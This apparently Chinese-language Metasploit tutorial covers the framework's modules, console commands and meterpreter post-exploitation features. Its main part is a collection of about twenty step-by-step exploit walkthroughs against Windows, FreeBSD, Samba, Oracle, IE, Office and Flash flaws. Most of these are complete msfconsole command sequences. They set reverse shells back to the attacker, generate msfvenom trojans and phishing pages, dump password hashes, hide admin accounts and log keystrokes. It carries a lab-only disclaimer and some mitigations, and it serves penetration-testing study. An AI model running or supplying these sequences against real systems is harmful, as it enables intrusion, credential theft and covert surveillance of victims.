/usr/share/metasploit-framework/ 各种模块几乎都在这里 cdmodules Auxiliary 主要包含渗透测试中一些辅助性的脚本,这些脚本功能有扫描,嗅探,破解,注入,漏洞挖掘等 Encoders 各种编码工具,用于躲过入侵检测系统和过滤系统 Exploit 包含了exp,0day,各种漏洞利用脚本,主要攻击代码都存在这里 命名规则系统/服务/模块、在使用exp时可以按照这个命名方法找 比如:useexploites/windows(系统)/vnc(服务)/realvnc_client(模块名) Nops 用于绕过IDSIPS,生成脚本 Payloads 是攻击者发送给系统执行的指令。 命名规则:系统/类型/名称比如:usepayloads/windows/shell/bind_tcp payloads与exploits区别:payloads在目标机执行、exploits在本地机执行作用与目标机。 Post 这个目录存放MSF中exploits执行成功之后,向目标机发送的一些功能性指令,比如提权、获取hash Data 这个目录里盛放了Meterpreter、PassiveX、Vnc、DLLs等这些工具和一些用户接口代码,Msfweb和一些其他模块用到的数据文件。 Plugins 模块用户需要使用load来加载,提供插件,例如数据库连接插件 Scripts 这个目录下文件大都是Meterpreter这个模块利用的脚本 tools 包含一些有用的脚本和零散的工具 2.MSF专业术语讲解 1.Exploit(渗透攻击) 渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。 流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。 2.Paylod攻击载荷(攻击载荷) 攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bindshell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。 3.Shellcode(溢出代码) shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpretershell,这也是shellcode名称的由来。 4.Module(模块) 在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploitmodule),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliarymodule),用来扫描一些诸如扫描或系统查点的攻击动作。 5.Listener(监听器) 监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。 3.MSF基本命令 用?可以浏览所有命令:帮助菜单 msfconsole 打开控制台 search 搜索命令或模块,如:searchms08-067 Use 执行命令、利用模块,如:useexploit/windows/smb/ms08_067_netapi back 从当前环境返回 info 查看模块信息,如:infoexploit/windows/smb/ms08_067_netapi check 检测 banner connect+网址+端口 连接一个主机,如:connectwww.baidu.com80 exit/quit 退出控制台 irb 进入irb脚本模式 jobs 显示并管理作业(与Windows中的任务管理器一样) kill 结束作业,杀死一个进程(与结束进程作用一样) loadpath 加载一个模块路径 load 加载一个插件 resource 运行储存一个文件中的命令 route 查看一个会话路由信息 save 保存动作 set 给变量复制,如:setRHOST192.168.1.0 show 显示给所有类型的模块,如:showoptions setg 把一个赋值给全局变量 例如set设置IP,就会用到其他共计模块的RHOST中 sleep 在限定的秒数内什么也不做 unload 卸载一个模块 unset 解出一个或者多个变量,如:unsetRHOST unsetg 解出一个或者多个全局变量 version 显示MSF和控制台库版本 4.exploits和payloads模块 1.exploits模块 命名规则:系统/服务/名称 例如:windows/smb/ms08_067_netapi RHOST:目标主机IP地址如:setrhost192.168.0.1RPORT:目标主机连接端口如:setrport80LHOST:攻击者的IP地址如:setlhost192.168.0.1LPORT:攻击者的端口如:setlport80Payload:有效的载荷,成功后返回shell如:setpayloadwindows/meterpreter/bind_tcp 2.payloads模块 是在使用一个模块之后再去使用的。 命名规则:系统/类型/名称 例如:Windows/dllinject/reverse_tcp 类型命名规则 shell:上传一个shell。 dllinject:注入一个dll到进程。 patchup***:修补漏洞。 upexec:上传并执行一个文件。 meterpreter:高级的payload。 vncinject:高级的payload。 passive:高级的payload。 名称的命名规则 shell_find_tag:在一个已建立的连接上创建一个shell。 shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。 bind_tcp:监听一个tcp连接。 reverse_tcp:反向建立tcp连接。 add_user:创建一个新用户并添加到管理组。 xxx_ipv6_tcp:基于IPV6。 xxx_nonx_tcp:noexecute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。 xxx_ord_tcp:有序payload。 xxx_tcp_allports:在所有可能的端口。 5.MSF简单基本的使用流程: 在kali命令窗口输入Msfconsole启动MSF Search+漏洞号码来查找漏洞,输出结果会有该漏洞相应的利用模块 Use+漏洞模块进入模块 Set根据showoptions输出的信息进行设置漏洞set 如;setpayload、setrhost\rport、setlhost\lport、settarget、等等 Check检测是否存在漏洞 Exploit或run开始攻击 看攻击效果:session-I有会话则成功。 6.MSF辅助模块 1.Auxiliary辅助模块 1.Whois信息探测: 查看域名信息 Whoiswww.baidu.com 查看IP信息 Whois192.168.1.100 showoptions查看需要设置什么东西 setdomainwww.baidu.com设置一个域名 setsearch_googlefalse由于google被国内封了,所以关了它 run运行 3.使用auxiliary模块下的DNS枚举模块: useauxiliary/gather/enum_dns进入DNS枚举模块 setdomainbaidu.com设置一个域名 注意:要设置顶级域名不要加www,不然爆破的时候就是xxx.www.baidu.com了 Run运行 4.端口扫描模块 1.内置namp扫描 Namp-sV192.168.1.100 2.syn扫描 useauxiliary/scanner/portscan/syn进入syn扫描 setrhost192.168.1.100设置目标地址 setthreads100设置线程(默认为1,这里设置为100) 扫描原理: 扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答而是发送RST包请求断开连接。这样,三次握手就没有完成,无法建立正常的TCP连接,因此,这次扫描就不会被记录到系统日志中。这种扫描技术一般不会在目标主机上留下扫描痕迹。但是,这种扫描需要有root权限。 TCPconnect端口扫描服务端与客户端建立连接成功(目标端口开放)过程: ①Client端发送SYN; ②Server端返回SYN/ACK,表明端口开放; ③Client端返回ACK,表明连接已建立; ④Client端主动断开连接。 TCPconnect端口扫描服务端与客户端未建立连接成功(目标端口关闭)过程: ②Server端返回RST/ACK,表明端口未开放。 端口开放: 1、Client发送SYN; 2、Server端发送SYN/ACK; 3、Client发送RST断开(只需要前两步就可以判断端口开放)。 端口关闭: 2、Server端回复RST(表示端口关闭)。 优点: SYN扫描要比TCPConnect()扫描隐蔽一些,SYN仅仅需要发送初始的SYN数据包给目标主机,如果端口开放,则相应SYN-ACK数据包;如果关闭,则响应RST数据包; 3.tcp扫描 useauxiliary/scanner/portscan/tcp进入tcp扫描 5.服务版本信息探测 1.smb版本扫描 useauxiliary/scanner/smb/smb_version进入SMB扫描 2…ssh版本扫描 useauxiliary/scanner/ssh/ssh_version进入ssh版本扫描 3.ftp版本扫描 useauxiliary/scanner/ftp/ftp_version进入ftp版本扫描 7.meterpreter后期攻击使用方法 1:上传文件到Windows主机 简单来说,你可以上传本机的任意文件到远程目标主机中。 命令: upload 注意:使用-r参数可以递归上传上传目录和文件 正确输文件的方法是:upload//root//123.exec:\123.exe 2:从windows主机下载文件 download命令可以下载远程主机上的文件 download 注意:Windows路径要使用双斜线 如果我们需要递归下载整个目录包括子目录和文件,我们可以使用download-r命令 3:在目标主机上执行exe文件 我们也可以使用execute命令在目标主机上执行应用程序 语法也非常简单 execute-f[options] 正确写法是:execute-fc://1.exe 4:创建CMD新通道 如果你想在目标主机上执行命令提示符,你可以使用下列命令: execute-fcmd-c 5:显示进程 ps命令会显示目标主机上所有正在运行的进程 ps 6:获取目标主机的cmdshell shell命令可以进入目标主机的cmd shell 7:获取admin权限 getsystem命令可以提权到本地系统权限 getsystem 8:使用Hashdump转储所有hash值 我们可以使用meterpretershell来dump目标主机的当前系统账户和密码。转储的内容是NTML哈希格式,网上有很多工具和技巧来破解它们。 hashdump 输出的每一行内容格式如下 Username:SID:LMhash:NTLMhash::: 9:使用Credcollect转储hash值 还有一个类似的脚本叫credential_collector,也可以收集目标主机的tokens runcredcollect 10:创建端口转发 meterpretershell中的portfwd命令是转发技术中最常用的一个命令,可以让攻击系统访问本来无法直接访问的目标主机。 add选项会将端口转发添加到列表中,而且本质上会创建一个隧道。 请注意:这个隧道存在于meterpreter控制台之外,任何终端会话都可以使用。 portfwdadd-l6666-p3389-r127.0.0.1#将目标机的3389端口转发到本地6666端口 rdesktop127.0.0.1:6666 11:删除端口转发 跟创建端口转发命令类似,这条命令是删除一条端口转发记录 portfwddelete-l-p-r 如:portfwddelete-l1337-p1337-r192.168.1.100 如果你想显示所有端口转发记录,你可以使用portfwdlist命令,如果你想删除所有的记录,可以使用portfwdflush命令 12:在目标主机上搜索文件 搜索命令可以来定位查找目标主机上的特定文件。这个命令可以搜索整个文件系统,也可以搜索特定的文件夹。 例如,如果你想搜索目标主机上的所有txt文件,可以使用下列命令: search-f*.txt 13:获取用户ID getuid命令会显示主机上运行meterpreter服务的用户 getuid 14:获取系统信息 sysinfo命令会显示系统名,操作系统,架构和语言等。 sysinfo 15:模拟任意用户(token操作) 这个进程对于攻击像微软活动目录这样的分布式系统非常有帮助,因为在微软活动目录中,本地访问权限并没多大用,但是如果能搞到凭证尤其是管理员凭证,那就非常有用了。 incognito最开始是一个独立的应用,当你成功入侵系统后可以用它来模拟用户tokens。这个应用后来集成到了metasploit,并且最终集成到了meterpreter中,使用如下: 在meterpreter会话中加载这个模块非常简单,只要输入useincognito命令即可 输入list_tokens-u来显示所有有效的tokens 然后我们需要模拟某个token来获取其权限。还有注意,如果成功模拟了一个token,我们可以使用getuid命令来检查当前用户ID useincognito list_tokens-u impersonate_token“Machine\user” 16:webcam摄像头命令 webcam_list查看摄像头 webcam_snap通过摄像头拍照 webcam_stream通过摄像头开启视频 17:execute执行文件 execute在目标机中执行文件 execute-H-i-fcmd.exe创建新进程cmd.exe,-H不可见,-i交互 timestompC://-h查看帮助 19:enable_rdp脚本开启3389 runpost/windows/manage/enable_rdp开启远程桌面 runpost/windows/manage/enable_rdpUSERNAME=www2PASSWORD=123456添加用户 runpost/windows/manage/enable_rdpFORWARD=trueLPORT=6662将3389端口转发到6662 脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb 通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe通过netuser添加;端口转发是利用的portfwd命令 20:键盘记录 keyscan_start开始键盘记录 keyscan_dump导出记录数据 keyscan_stop结束键盘记录 MSF多种渗透测试实例合集 本文漏洞均为已发布漏洞,仅供学习实验,请自己搭建靶机进行学习。 1.(MS08-067)缓冲区溢出漏洞 漏洞简介: MS08-067漏洞的全称为“WindowsServer服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程履行代码。在MicrosoftWindows2000、WindowsXP和WindowsServer2003系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击. 实验坏境: kalilinux、windowsXPsp3中文版 Kali:192.168.1.10 Windowsxp:192.168.1.100 利用过程详解: msfconsole进入msf searchMS08-067查找带ms08-067的模块 useexploit/windows/smb/ms08_067_netapi使用找到的该模块 showoptions显示需要设置什么选项(如果required列为YES,表示该选项必须设置) setpayloadwindows/meterpreter/reverse_tcp设置使用的payload,此处是渗透成功后从目标主机发起一个反弹连接 setrhost192.168.1.100设置目标主机IP setlhost192.168.1.10设置攻击者的IP,也就是payload反弹后连接的IP。 info查看可用于的系统版本 showtargets显示有那些目标的类型 settarget34这里目标靶机为winxpsp3中文版,所以设置为34 showoptions把全部设置检查一下 check检测是否存在漏洞 exploit、run开始攻击 攻击成功后此时就进入了meterpreter help查看该模式下的命令帮助 shell进入目标系统的交互命令行shell netuser查看当前用户 netuser用户名密码/add添加用户 按(ctrl+z)可以把shell放到后台,回到payload会话 Background可以把payload会话放到后台回到模块模式 Sessions-i1使用id为1的会话 Exit关闭payload会话,回到模块模式 Exit退出msf控制台 防范办法: 针对该溢出,我们并不是没有办法,既然是要扫描445端口,然后telnet,我们只需如下的方法就可以解决: 1、及时安装KB958644补丁 造成盗版用户黑屏的补丁是KB892130,这个漏洞的安全补丁编号是KB958644 2、关闭或屏蔽掉445端口。 3、安装专业防火墙。 4.将ComputerBrowser、Server、Workstation这三个系统服务关闭 2.(MS17-010)(永恒之蓝,勒索病毒) 由美国国家安全局泄露的危险漏洞EternalBlueEternalBlue(永恒之蓝)进行传播,被该病毒入侵后,主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密 EternalBlue:SMB1、SMBv2,对应ms17-010,针对445端口,影响范围较广,从Windowsxp—windowsserver2012 病毒攻击流程:开始—扫描网络中的机器是否开启445端口—存在漏洞—加密用户文件—弹出勒索页面—成功勒索。 实验环境: kali:192.168.1.4 windows7:192.168.1.10 由于旧版本kali中无MS17-010enternalblue攻击模块,所以要安装一下。 漏洞利用步骤: 1.在kali中安装MS17-010enternalblue攻击模块 2.使用msf工具进行攻击 3.对被渗透计算机进行控制 1.下载攻击模块: 把模块拷贝到metasploit对应目录下 cpms17_010_eternalblue.rb/usr/shara/metasploit-framework/moduls/exploits/windows/smb 2.使用msf进行攻击 msfconsole进入msfsearchms17-010查看此漏洞可利用的模块useexploitwindows/smb/ms17_010_eternalblue进入此模块showoptions查看需要设置什么选项setpayloadwindows/x64/meterpreter/reverse_tcp设置反弹连接payloadsetLHOSTS192.168.1.4设置操作机IPsetRHOST192.168.1.10设置靶机IPrun或exploit进行攻击shell进入对方命令行netusertest1234/add(xxxx用户名1234密码)创建用户及密码netlocalgroupadministratorstest/add(将用户设置为管理员权限)upload/root/123.exec:上传文件execute-fc:\123.exe执行文件 1.参见微软官方 关闭445、137、138、139、关闭网络共享 2.安装专门的免疫工具,安全厂商有提供 安天实验室蠕虫勒索软件免疫工具(wannacry) 3.(MS12-042)漏洞 存在与Windowsxp和Windowsserver2003的所有32位版本、及Windows7(由于基于x64的系统)以及Windowsserver2008R2x64 该漏洞是Windows内核中的漏洞,可能允许特权提升 Windows用户模式调度程序存在内存破环漏洞 用户模式调度程序处理系统请求时存在权限提升可能,成功利用后导致在内核模式中运行任意代码。 Windows 利用过程详解 普通用户登陆系统 使用漏洞利用工具sysret提权 添加管理员账户 添加新用户,并隐藏该用户 先在服务器创建一个新用户 sysret-ecmd.exe使用此命令进行提权 whoam确认是否提权成功 netusertempqaz123/add创建temp用户密码qaz123 netlocalgroupadministorterstemp/add把tempj加到管理员组 netuserhacker$qaz123/add创建以用户hacker(使用(使用(使用时使用netuser看不到该用户,但是计算机管理中可以看到) 使用regedt32导出hacker$的注册表项 在计算机管理界面删除hacker$用户 在使用regedt32导入hacker$的注册表项 这样hacker$用户被隐藏了 在使用hacker$用户删除temp用户 及时更新Windows系统 4.CVE-2011-4862(freebsdtelnetd)漏洞利用 漏洞介绍: 存在与freebsdLinux5.3-8.2版本中telnetd组件,典型的缓冲区漏洞。 telnetd中的libtelnet/encrypt.c源码中存在缓冲区溢出漏洞。 远程攻击者可借助超长encryption键执行任意代码。 详情参见cve官网 实验环境 kali FreeBSD8.1 漏洞利用步骤 1.在FreeBSD中启动telnet服务 3.控制被渗透计算机 在FreeBSD中启动telnet服务 开始渗透攻击: search51182useexploit/freebsd/telnet/telnet_encrypt_keyidsetpayloadbsd/x86/shell/revers_tcpsetrhost192.168.1.100setlhost192.168.1.10settarget0runwhoamirootpwd 防范方法: 关闭telnet服务 5.oracle漏洞(cve-2009-1979) 详细见cve官网 windowsserver2003安装oracle数据库 msfconsolesearchtns_authuseexploit/windows/oracle/tns_auth_sesskeyshowoptionssetpayloadwindows/meterpreter/reverse_tcpsetrhost192.168.1.10setlhost192.168.1.100settarget1showoptionscheckexploitshell 6.IE漏洞(MS11-050) 漏洞介绍 实验坏境 windowsxpsp3 渗透步骤“ 在msf工具加载攻击模块和载荷模块,构建钓鱼网页。 利用社工等手段引诱被渗透者访问钓鱼网站 对计算机进行控制 msfconsolesearchms11-050useexploit/windows/browser/ms11_050_mshtml_cobjectelementsetpayloadwindows/meterpreter/reverse_tcpshowoptionssetsrvhost192.168.1.100设置自己的服务器地址,这里设置本机为服务器setrhost192.168.1.10setlhost192.168.1.100seturipathindex.html伪造网页地址settarget1run 此时会出现一个伪造的网站地址 利用社工的方法让目标访问这个地址 当对方访问的这个地址时 sessions-I查看会话 sessions-i1进入会话1 7.浏览器漏洞(MS10-018) 见官网 msfconsolesearchms10-018useexploit/windows/browser/ms10-018_ie_behaviorsshowoptionssetpayloadwindows/meterpreter/bind_tcp设置一个payload正向连接shellsetsrvhost192.168.1.100设置自己服务器地址setlhost192.168.1.100setrhost192.168.1.10run 此时会有一个url地址,通过社工等方式让目标主机进行访问 等目标主机访问了 sessions查看会话 8.IIS6.0漏洞(cve-2017-7269) 存在与Windowsserver2003R2IIS6.0的webDAV服务中的缓存区溢出漏洞。 windowsserver2003(安装iis6.0并启用webDAV) msfconsolesearchcve-2017-7269useexploit/windows/iis/cve-2017-7269setpayloadwindows/meterpreter/reverse_tcpshowoptionssetrhost192.168.1.10setlhost192.168.1.100showoptionsrunshell 9.office漏洞(MS10-087) 见cve官网 windowsxp msfconsolesearchms10-087useexploit/windows/fileformat/ms10_087_rtf_pfragments_bofshowoptionssetpayloadwindows/execsetFILENAMEceshi.rtf文件名改成ceshisetCMDcalc.exe设置现在让他弹出一个计算器run 会在root/.msf4/local/ceshi.rtf这个路径生成文件ceshi.rtf 将文件复制到靶机,运行就会弹出计算器 10.office漏洞(cve-2017-11882) office远程代码执行漏洞,攻击者可利用漏洞执行任意命令。 是office内存破环漏洞 详细参见官网 windows7 msfconsolesearchcve-2017-11882showoptionssetpayloadwindows/meterpreter/reverse_tcpsetsrchost192.168.1.10setlhost192.168.1.10setrhost192.168.1.100seturipathcveshowoptionsrun 通过社工等方法让目标打开文件 等对方上钩 sessions-i1进入会话 11.利用samba服务漏洞入侵linux主机(CVE-2017-7494与samba低版本漏洞利用) Samba介绍 Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,由服务器及客户端程序构成,samba服务对应的端口有139、445等等。 smba漏洞利用详解 前提: 查看samba版本并打开samba配置文件添加以下配置 找最新的漏洞 入侵成功可进行操作 samba低版本漏洞(比较少) 实验环境MSF提供的漏洞环境 开始测试 1、首先要扫描目标主机上开放的端口和服务,用nmap,命令如下: nmap-sS-Pn-A192.168.0.142 2、发现主机上开放的139,445端口之后,说明该主机有可能存在samba服务远程溢出漏洞,尝试通过该端口建立一个meterpreter会话,需要用到metasploit. 3、打开metasploit之后需要先判断samba的版本,命令如下: msf>searchscanner/samba 4、然后使用如下命令来定义要扫描samba的版本所用到的exploits参数。 msf>useauxiliary/scanner/smb/smb_versionmsfauxiliary(smb_version)>setRHOSTS192.168.0.102 这条命令定义你将要扫描samba版本的远程主机的IP地址. exploit 该命令将开始漏洞利用 5、发现samba版本之后,我们需要进一步利用来入侵进入到远程linux主机 msf>useexploit/multi/samba/usermap_scriptmsfexploit(usermap_script)>setRHOST192.168.0.102msfexploit(usermap_script)>exploit 执行完成以上命令如图所示,成功创建了shell会话.nmap-sS-Pn-A192.168.0.142 12.BashShellshockCVE-2014-6271(破壳) Shellshock的原理是利用了Bash在导入环境变量函数时候的漏洞,启动Bash的时候,它不但会导入这个函数,而且也会把函数定义后面的命令执行。在有些CGI脚本的设计中,数据是通过环境变量来传递的,这样就给了数据提供者利用Shellshock漏洞的机会。 简单来说就是由于服务器的cgi脚本调用了bash命令,由于bash版本过低,攻击者把有害数据写入环境变量,传到服务器端,触发服务器运行Bash脚本,完成攻击。 metasploitable2 配置靶机: 要利用此漏洞,需要在cgi-bin目录中有一个可执行脚本。本次实验一个简单的输出“helloworld”脚本即可 进入到靶机的/usr/lib/cgi-bin/目录下,输入以下命令: sudonanohello.sh 输入正确的密码,然后对hello.sh脚本进行编辑 #!/bin/bash echo“Content-type:text/html” echo“” echo“Helloworld!” 保存好后,赋予脚本可执行权限,使用chmod命令: sudochmod755hello.sh 验证; 192.168.0.10/cgi-bin/hello.sh看网页是否正常显示该脚本 准备渗透攻击 在kali中,终端输入msfconsole来启动metasploit。可以看到一个随机的欢迎界面和metasploit命令提示符。 我们可以使用search命令来搜索exploits。输入shellshock,就能找到 13.phpCGI漏洞利用 用phpinfo去看对方php版本服务器版本是否支持CGI,ServerAPI一行中,是服务器中间件一个扩展功能,留言板功能可能用到 14.JavaRMISERVER命令执行漏洞 JavaRMISERVER的RMI注册表和RMI激活服务的默认配置存在安全漏洞,导致代码执行。 利用步骤: nmap-p0-65535IP,查看1099端口是否开启useexploit/multi/misc/java_rmi_serversetRHOSTIPexploitshell(进入meterpreter时执行) 15.javacve-2013-0422 useexploit/multi/browser/java_jre17_jmxbeansetpayloadwindows/meterpreter/reverse_tcpsetsrchost192.168.1.10setlhost192.168.1.10setrhost192.168.1.100settarget1showoptionsexploit 16.Distcc后门漏洞 安全组织索引:CVE-2004-2678、OSVDB-13378 原理: Distcc用于大量代码在网络服务器上的分布式编译,但是如果配置不严格,容易被滥用执行命令,该漏洞是Xcode1.5版本及其他版本的distcc2.x版本配置对于服务器端口的访问不限制 msfconsoleuseexploit/unix/misc/distcc_execsetRHOST192.168.1.10exploit id查看权限 uname-a验证 17.Druby命令执行 Druby配置不当,被滥用执行命令 启动metasploit 发现8787Druby端口 useexploit/linux/misc/drb_remote_codeexecsetURLdruby://192.168.1.10:8787,设置目标druby链接exploitid,uname-a 18.CVE-2017-8464震网三代(远程快捷方式漏洞) 1 CVE-2017-8543,当Windows搜索处理内存中的对象时,存在远程执行代码漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。 CVE-2017-8464,当Windows系统在解析快捷方式时,存在远程执行任意代码的高危漏洞,黑客可以通过U盘、网络共享等途径触发漏洞,完全控制用户系统,安全风险高危。 受影响的版本 Windows7 Windows8.1 WindowsRT8.1 Windows10 WindowsServer2008 WindowsServer2008R2 WindowsServer2012 WindowsServer2012R2 WindowsServer2016 攻击机:kali IP地址为:192.168.10.118 靶机:win7 IP地址:192.168.10.119 payload1:msfconsole search2017_8464 useexploit/windows/fileformat/cve_2017_8464_lnk_rce setPAYLOADwindows/meterpreter/reverse_tcp setLHOST192.168.10.118(你的IP) 之后会在/root/.msf4/local目录下生成我们的利用文件 注意:kali2.0下无法直接访问该文件夹,可通过命令行将/root/.msf4/local/下的所有文件复制到/root/1下 cp-r/root/.msf4/local//root/1 全部复制到移动磁盘里面(u盘拷贝),然后在msf中监听: searchmulti/handleruseexploit/multi/handlersetpayloadwindows/meterpreter/reverse_tcpsetLHOST192.168.10.118(你的IP地址)run payload2:利用Powershell快捷键 msfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.10.100-fpsh-reflection>/opt/search.ps1 然后将/opt/目录下的search.ps1文件移动到/var/www/html/下 随后打开Apache服务 serviceapache2start 访问web下的sp1文件 然后在目标机上建立一个快捷方式 这里写我们构造好的代码 然后选中powershell.exe 再到本机上配置监听 useexploit/multi/handler setpayloadwindows/meterpreter/reverse_tcp setLHOST192.168.10.118 run 19.flashoday(CVE-2018-4878) 漏洞详情 0x01前言 公告称一个新的Flash0Day漏洞(CVE-2018-4878)已经存在野外利用,可针对Windows用户发起定向攻击。攻击者可以诱导用户打开包含恶意Flash代码文件的MicrosoftOffice文档、网页、垃圾电子邮件等。 0x02漏洞影响 FlashPlayer当前最新版本28.0.0.137以及之前的所有版本 0x03漏洞复现 环境测试: 目标靶机:win7x64+IE8.0+FLASHplayer28.0.0.137 1.下载cve-2018-4878的脚步利用 2.解压压缩文件后,可看到cve-2018-4878.py和exploit.swf我们只需要cve-2018-4878.py 3.我们需要对cve-2018-4878.py进行修改,原作者将代码中的stageless变量改成了true,正确的应该改成:stageless=False,另外别忘了修改最后的路径。 4.其次需要修改替换原来弹计算器的shellcode 5.在kali下生成msf的shellcode(注意:一定要在老版本kail下生成大小为333字节的payload) msfvenom-pwindows/meterpreter/reverse_tcplhost=yourhostlport=yourport-fpython>shellcode.txt 6.将生成的shellcode替换掉原有cve-2018-4878.py中的shelldoce即可 7.在kal下执行cve-2018-4878.py,这里需要和index.html在一个目录下,即可生成恶意的exploit.swf 8.这里为了演示我将index.html和exploit.swf一同拷贝到目标靶机win7x64上,在ie浏览器下打开(也可以通过搭建web服务器的形式将index.html和exploit.swf放在web目录下,访问地址来打开)。 9.在msf下进行监听设置 msf>useexploit/multi/handlermsfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcpmsfexploit(handler)>setlhost10.0.0.217msfexploit(handler)>setlport443msfexploit(handler)>exploit 10.当打开目标恶意的index.html页面时,即可触发反弹shell 20.MSF木马生成使用 木马生成: msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.0.107LPORT=4444-fexe-opayload.exe 本地监听: msf>useexploit/multi/handlermsfexploit(handler)>setpayloadwindows/meterpreter/reverse_tcpmsfexploit(handler)>setlhost10.0.0.217msfexploit(handler)>setlport4444msfexploit(handler)>exploit